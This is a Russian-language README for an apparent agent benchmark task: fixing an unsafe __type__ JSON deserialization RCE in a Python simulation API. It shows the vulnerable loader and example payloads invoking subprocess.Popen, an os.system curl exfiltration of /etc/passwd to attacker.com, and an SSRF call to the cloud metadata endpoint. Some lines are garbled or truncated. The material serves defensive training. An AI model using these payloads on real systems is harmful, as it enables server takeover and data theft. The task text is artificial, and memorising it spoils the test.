
CVE-2026-25632 — Исправление небезопасной десериализации JSON, приводящей к удалённому выполнению кода
Основано на реальной уязвимости 2026 года (CVSS 10.0, активно эксплуатировалась)
На основе: CVE-2026-25632 — удалённое выполнение кода (RCE) через небезопасную JSON-десериализацию на основе__type__, обнаруженную в REST API симулятора водных сетей EPyT-Flow и публично раскрытую в начале 2026 года.
NovaSim — это фреймворк симуляции на Python, который предоставляет REST API для удалённого управления научными экспериментами. Чтобы обеспечить гибкую сериализацию объектов в разнородных клиентских средах, разработчик добавил собственный загрузчик JSON, который обнаруживает специальное поле __type__ и динамически импортирует и создаёт экземпляры указанного класса Python с помощью importlib.
Эта схема была раскрыта в 2026 году как критическая уязвимость удалённого выполнения кода (RCE) в крупном проекте с открытым исходным кодом. Исследователи безопасности установили, что злоумышленник, контролирующий тело JSON, может построить цепочку гаджетов (gadget chain), нацеленную на любую вызываемую функцию стандартной библиотеки Python — включая subprocess.Popen, , и более 25 SSRF-гаджетов, — и добиться полного захвата сервера одним HTTP-запросом, .
os.systemevalВам предоставлена уязвимая версия файла src/solution.py, содержащая ту самую небезопасную схему десериализации.
Ваша цель: устранить уязвимость в DeserializationService.load_from_json(), чтобы:
SecurityError.__type__ больше не позволяло произвольный импорт модулей или создание экземпляров классов.__type__) продолжали загружаться как обычно.# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
Злоумышленник отправляет POST-запрос со специально сформированным телом JSON:
Вектор 1 — прямой RCE через subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Вектор 2 — RCE через os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Вектор 3 — SSRF через urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
Исследователи безопасности задокументировали 12 прямых RCE-гаджетов и 25 SSRF-гаджетов, доступных таким образом только через стандартную библиотеку Python.
Следующие типы объектов симуляции — и только следующие — могут быть десериализованы через __type__:
__type__ value | Класс Python |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
Любое другое значение __type__ ДОЛЖНО немедленно вызывать SecurityError до выполнения какого-либо импорта или создания экземпляра.
JSON-объекты, передаваемые в DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__: вернуть dict (разобранный JSON).__type__ из белого списка: вернуть соответствующий экземпляр объекта симуляции.__type__ вне белого списка: вызвать SecurityError с сообщением: "Blocked unsafe type: <type_value>".ValueError с сообщением: "Invalid JSON payload".| Сценарий | Ожидаемое поведение |
|---|---|
__type__ отсутствует | Разобрать и вернуть как обычный dict |
__type__ = "simulation.Sensor" | Создать экземпляр Sensor(**args) |
__type__ = "subprocess.Popen" | Вызвать SecurityError |
__type__ = "os.system" | Вызвать SecurityError |
__type__ = "__builtins__.eval" | Вызвать SecurityError |
__type__ = "" (пустая строка) | Вызвать SecurityError |
__type__ = список или целое число | Вызвать SecurityError (недопустимое поле типа) |
| Некорректная строка JSON | Вызвать ValueError |
| Лишние неизвестные поля в корректном объекте | Принимаются, передаются как kwargs в конструктор |
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
Исправление должно пройти ВСЕ следующие проверки:
__type__)